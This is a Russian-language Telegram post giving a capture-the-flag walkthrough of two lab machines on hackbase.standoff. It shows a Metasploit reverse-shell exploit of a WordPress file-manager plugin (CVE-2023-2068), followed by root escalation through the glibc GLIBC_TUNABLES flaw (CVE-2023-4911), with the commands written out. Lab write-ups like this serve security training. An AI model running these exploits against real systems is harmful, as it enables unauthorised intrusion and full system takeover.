TGViewer
Сочный DevOps Сочный DevOps @andtree_sec · 420 subscribers
Post #180 157
Проходим машину web-1-1 и web-1-2 на hackbase.standoff

Машины представляют уязвимое веб приложение какой-то библиотеки с возможность загрузки файлов.
Первая часть (web-1-1) про выполнение RCE, вторая про LPE (Local Privileges Escalation).
Уровень сложности - легкий.

Итак, машина доступа по адресу 10.124.1.233.

Открываем, находим ссылку ведущую на 10.124.1.233/library.
Изучив запросы в burp можно понять, что используется CMS wordpress и плагин File Manager Advanced Shortcode для загрузки файлов. Ищем публичные эксплоиты на него и находим CVE-2023-2068.

Экплоит на expoit db.

Он же есть в metasploit - multi/http/wp_plugin_fma_shortcode_unauth_rce. Им и воспользуемся.

msfconsole
use multi/http/wp_plugin_fma_shortcode_unauth_rce
set RHOSTS 10.124.1.233
set TARGETURI /library
set LHOST <you_ip>
set payload php/meterpreter/reverse_tcp
run


Запускаем и ждем. Если все ок, должны получить meterpreter сессию. Далее заходим в шелл машины для удобства:
shell
./home/rceflag


Этого достаточно для получения флага.

Вторая часть про повышение привелегий.
У нас тут есть файл с setuid битом, погуглив, находим уязвимость CVE-2023-4911 в glibc.
Под нее также есть публичный exploit тут.
Суть payload:
1. Берем системную libc.so
2. Находим смещение функции __libc_start_main (начальная точка программы).
3. В это место вклеивается shellcode (машинные инструкции открывающие /bin/sh.
4. Результат сохраняется в директорию ./" специально с кавычкой, чтобы обойти проверки и замаскировать путь.

Суть эксплоита:
1. glibc версий указанных в CVE уязвима из-за функции обработки строки. Это позволяет вызвать переполнение в стеке, если забить символами переменную GLIBC_TUNABLES, что приведет к ошибке сегментации.
2. Операция выполняется в цикле, каждый раз подставляя
setuid(0)
execve("/bin/sh")


Цикл, тк SEGFAULT может случится раньше чем выполниться данный код, повышающий привелегии. Следовательно просто пытаемся успеть.

Через upload в metasploit загружаем оба файла например в /tmp на уязвимую машину. Далее выполняем
python3 libc.py
gcc exp.c -o exp
./exp


Ждем, проверяем id. Получаем root и выполняет /home/lpeflag.

#webpentest
  • 👍 1
  • 🔥 1
More from @andtree_sec
  1. Sep 7, 2026Давненько не было сообщений. Скорее всего в будущем они уйдут в telegraf, который я еще не…
  2. Jul 6, 2026Последнее время на работе часто приходится работать с apache flink и даже что-то писать на…
  3. Jun 4, 2026Немножко про молекула тесты... У нас принято использовать в переменных lookup плагин для д…
  4. May 20, 2026Очередной небольшой проект. Веб-приложение, которое агрегирует через стандартный механиз g…
  5. May 15, 2026Включаем профилирование в ansible Профилирование, это вывод даты, времени запуска и итогов…
  6. Apr 17, 2026Так выглядит общий dashbord работы с инцидентами.
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →